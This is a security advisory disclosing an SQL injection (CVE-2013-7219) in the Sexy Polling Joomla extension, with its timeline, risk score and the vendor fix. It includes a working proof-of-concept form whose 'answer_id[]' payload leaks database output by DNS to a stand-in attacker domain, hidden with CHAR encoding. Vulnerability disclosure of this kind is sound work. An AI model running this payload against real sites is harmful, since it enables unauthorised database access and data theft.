SQL Injection in Sexy Polling Joomla Extension

Advisory ID: HTB23193
Product: Sexy Polling Joomla Extension
Vendor: 2GLux
Vulnerable Version(s): 1.0.8 and probably prior
Tested Version: 1.0.8
Advisory Publication: December 26, 2013 [without technical details]
Vendor Notification: December 26, 2013
Vendor Patch: January 8, 2014
Public Disclosure: January 16, 2014
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-7219
Risk Level: High
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Sexy Polling Joomla Extension, which can be exploited to perform SQL Injection attacks.

1) SQL Injection in Sexy Polling Joomla Extension: CVE-2013-7219

The vulnerability exists due to insufficient validation of "answer_id[]" HTTP POST parameter passed to "/components/com_sexypolling/vote.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

<form action="http://[host]/components/com_sexypolling/vote.php"
method="post" name="main">
<input type="hidden" name="answer_id[]" value="',(select load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))),'','','','','')
– ">
<input type="submit" id="btn">
</form>

Solution:

Update to Sexy Polling 1.0.9

More Information:
http://2glux.com/forum/sexypolling/sexy-polling-security-vulnerability-notification-t2026.html

References:

[1] High-Tech Bridge Advisory HTB23193 - https://www.htbridge.com/advisory/HTB23193 - SQL Injection in Sexy Polling Joomla Extension.
[2] Sexy Polling Joomla Extension - http://2glux.com/projects/sexypolling - Polling for Joomla.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.